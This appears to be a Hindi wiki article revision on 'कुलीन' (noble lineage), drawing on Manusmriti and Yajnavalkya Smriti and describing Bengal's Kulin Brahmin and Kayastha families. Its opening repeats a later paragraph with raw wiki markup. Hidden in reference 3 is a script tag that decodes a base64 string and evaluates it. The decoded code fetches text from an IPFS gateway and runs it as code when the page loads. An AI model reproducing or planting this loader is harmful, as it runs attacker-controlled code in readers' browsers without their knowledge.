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उत्तम [[कुल]] [[माता]]-[[पिता]] दोनों के कुलीनत्व से ही होता है।<ref>याज्ञवल्क्यस्मृति 1-308 की मिताक्षरा टीका</ref> कभी-कभी कुलीनत्व के लिए धन संपति का होना भी आवश्यक बताया गया है, परंतु यह सर्वमान्य नहीं था<ref>मनुस्मृति 3-66 पर मेधातिथि एवं वा. रा. 2-109-4 पर [[रामानुज]] की टीका</ref> लोक में कुलीनत्व के इस तत्व का कुछ स्थान अवश्य हो गया था।

12:31, 25 अक्टूबर 2017 का अवतरण

कुलीन का अभिप्राय है- "उत्तम कुल में उत्पन्न व्यक्ति"। 'कुल' और 'कुलीन' जैसे शब्दों एवं उनके भावों के संदर्भ 'छांदोग्य उपनिषद' 'मनुस्मृति' और उसकी 'मेधातिथि टीका', 'याज्ञवल्क्य स्मृति' तथा याज्ञवल्क्य स्मृति की 'मिताक्षरा टीका' आदि में प्राप्त है।

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कुल

वैदिक यज्ञ आदि क्रियाओं के कर्ता, वेदों का अध्ययन करने वाले, ब्राह्मणों का आदर करने वाले तथा आस्तिक वंशों को 'मनुस्मृति' में 'कुल' कहा गया है।[1] इन क्रियाओं की हानि, कुविवाह तथा कुछ अन्य दोषों के कारण कुलों का कुलत्व समाप्त होकर अकुलता अर्थात्‌ अकुलत्व में परिणत हो जाता है। वेदादि ग्रंथों में निष्णात तथा उत्तम कुल में उत्पन्न व्यक्ति को ही 'कुलीन' की संज्ञा दी गई है। 'मनुस्मृति'[2] पर टीका करते हुए मेधातिथि ने तो उत्तम कुल में उत्पति के साथ-साथ विद्यागुण की संपति कुलीनता का आवश्यक गुण माना है।[3]

कुलीनत्व

उत्तम कुल माता-पिता दोनों के कुलीनत्व से ही होता है।[4] कभी-कभी कुलीनत्व के लिए धन संपति का होना भी आवश्यक बताया गया है, परंतु यह सर्वमान्य नहीं था[5] लोक में कुलीनत्व के इस तत्व का कुछ स्थान अवश्य हो गया था।

नौ लक्षण

'कुलाचारकारिका' में कुलत्व और कुलीनत्व के लिए आचार, विनय, विद्या, प्रतिष्ठा, तीर्थ दर्शन, निष्ठा, अच्छा, वृति और दान, ये नौ लक्षण माने गए हैं।

ऐतिहासिक अनुश्रुति

बंगाल में कुछ परिवार विशेष, जिनके साथ कुलीनत्व जोड़ दिया गया है, कुलीनतंत्र वहाँ के समाज का एक विशिष्ट अंग है। ऐतिहासिक अनुश्रुति यह है कि बंगाल के बल्लाल सेन नामक सेन वंशी राजा ने मध्यदेश के कन्नौज से 12वीं शताब्दी में पाँच मुख्य ब्राह्मण परिवारों को आमंत्रित कर पश्चिम बंगाल (राढ़) में बसाया। धीरे-धीरे गौड़ भेद के कारण उनके 22 कुल हो गए। इनके आठ वंश गौड़ कुलीन और 14 वंश 'श्रोत्रिय' कहे जाते हैं।[3]

आठ मुख्य कुल

राजा लक्ष्मण सेन ने आठ मुख्य कुलों का समीकरण किया। ऐसा विश्वास है कि आधुनिक मुखोपाध्याय अथवा मुखर्जी, चट्टोपाध्याय (चटर्जी), बंदोपाध्याय (बनर्जी) आदि बंगाली ब्राह्मण उन प्राचीन कुलीन परिवारो के ही वंशज हैं। वारेंद्र (उत्तरी और पूर्वी बंगाल) के मैत्र, लाहिड़ी, भादुड़ी तथा भादड़ा आदि पंक्तिपूरक (पंक्तिपावन) कुलीन ब्राह्मणों के भी उल्लेख मिलते हैं। बंगाल के अनेक वैद्य परिवार भी कुलीन समझे जाते हैं और धन्वंतरि एवं मौद्गल्य गोत्रों से जोड़े जाते हैं। दक्षिणी राढ़ (दक्षिण-पश्चिमी बंगाल) के घोष, वसु, मित्र, दत्त और गुह उपाधिधारी कायस्थ भी कुलीन माने जाते हैं और ऐसा विश्वास है कि उनके पूर्वज भी कान्यकुब्ज देश (क्षेत्र) से बंगाल प्रस्थान करने वाले पाँच ब्राह्मण परिवारों के साथ ही गए थे।


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टीका टिप्पणी और संदर्भ

  1. मनुस्मृति, 3-63-66
  2. मनुस्मृति 8-323
  3. 3.0 3.1 कुलीन (हिन्दी)। । अभिगमन तिथि: 11 मार्च, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. याज्ञवल्क्यस्मृति 1-308 की मिताक्षरा टीका
  5. मनुस्मृति 3-66 पर मेधातिथि एवं वा. रा. 2-109-4 पर रामानुज की टीका

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